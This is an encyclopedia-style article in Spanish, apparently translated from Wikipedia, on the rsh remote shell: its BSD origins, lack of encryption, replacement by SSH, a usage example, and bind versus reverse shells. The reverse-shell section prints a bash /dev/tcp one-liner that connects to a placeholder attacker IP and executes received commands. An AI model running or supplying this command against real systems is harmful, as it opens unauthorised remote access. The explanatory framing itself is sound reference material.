El intérprete de comandos remoto ( rsh ) es un programa informático de línea de comandos que puede ejecutar comandos de shell como otro usuario y en otro ordenador a través de una red informática .
El sistema remoto al que se conecta rsh ejecuta el demonio rsh (rshd). Este demonio suele utilizar el puerto 514 del Protocolo de Control de Transmisión (TCP ) .
Historia
Rsh se originó como parte del sistema operativo BSD Unix , junto con rcp , como parte del paquete rlogin en 4.2BSD en 1983. Desde entonces, rsh se ha adaptado a otros sistemas operativos.
El rshcomando tiene el mismo nombre que otra utilidad común de UNIX, el shell restringido , que apareció por primera vez en PWB/UNIX ; en System V Release 4 , el shell restringido a menudo se encuentra en /usr/bin/rsh.
Al igual que otros comandos r de Berkeley que implican autenticación de usuario, el protocolo rsh no es seguro para su uso en red, ya que envía información sin cifrar a través de la red, entre otras razones. Algunas implementaciones también se autentican enviando contraseñas sin cifrar a través de la red. rsh ha sido reemplazado en gran medida por el programa Secure Shell (ssh), incluso en redes locales. [ 1 ] [ 2 ]
Ejemplo
Como ejemplo del uso de rsh, el siguiente comando ejecuta mkdir testdir como usuario remoteuser en el equipo host.example.com que ejecuta un sistema tipo UNIX:
$ rsh -l usuario remoto host.ejemplo.com "mkdir testdir"Una vez finalizado el comando, rsh se cierra. Si no se especifica ningún comando, rsh iniciará sesión en el sistema remoto mediante rlogin . La ubicación de red del equipo remoto se busca mediante el Sistema de nombres de dominio (DNS) .
Shell de enlace y shell inversa
Una sesión de shell remota puede ser iniciada por un dispositivo local (que envía comandos) o por un dispositivo remoto (en el que se ejecutan los comandos). [ 3 ] En el primer caso, el shell remoto se denomina shell de enlace; en el segundo caso, shell inverso. [ 4 ]
El acceso a una shell inversa se puede utilizar cuando el dispositivo en el que se va a ejecutar el comando no es directamente accesible; por ejemplo, para el mantenimiento remoto de ordenadores ubicados detrás de un NAT al que no se puede acceder desde el exterior. Algunos exploits crean una shell inversa desde un dispositivo atacado hacia máquinas controladas por los atacantes (lo que se denomina "ataque de shell inversa"). El siguiente código demuestra un ataque de shell inversa: [ 5 ]
$ exec 5 <>/dev/tcp/<attacker_IP>/80 ; cat < & 5 | while read line ; do \$ line 2 > & 5 > & 5 ; doneAbre un socket TCP a la IP del atacante en el puerto 80 como descriptor de archivo . Luego, lee repetidamente líneas del socket y las ejecuta, redirigiendo tanto la salida estándar como el error estándar de vuelta al socket. En otras palabras, le proporciona al atacante una shell remota en la máquina.
Véase también
Referencias
- ↑ "SSH, Secure Shell: La guía definitiva" . www.researchgate.net . Archivado del original el 11 de noviembre de 2023. Consultado el 11 de noviembre de 2023 .
- ↑ "Protocolo Secure Shell: todo lo que necesitas saber" . dev.to. 28 de noviembre de 2022. Consultado el 11 de noviembre de 2023 .
- ↑ "Secure Shell (SSH)" . www.techtarget.com . Archivado del original el 11/11/2023 . Consultado el 11/11/2023 .
- ↑ "Diferencia entre Bind Shell y Reverse Shell" . www.geeksforgeeks.org . 14 de diciembre de 2021. Archivado del original el 11 de noviembre de 2023. Consultado el 11 de noviembre de 2023 .
- ↑ "¿Qué es una shell inversa?" . Sysdig . Archivado del original el 28-11-2023 . Consultado el 28-11-2023 .
- rsh - shell remoto - página man de rsh .
- : shell remoto – Manual de comandos generales de Darwin y macOS
- Protocolos de Internet
- Comandos de OS/2
- Software relacionado con redes Unix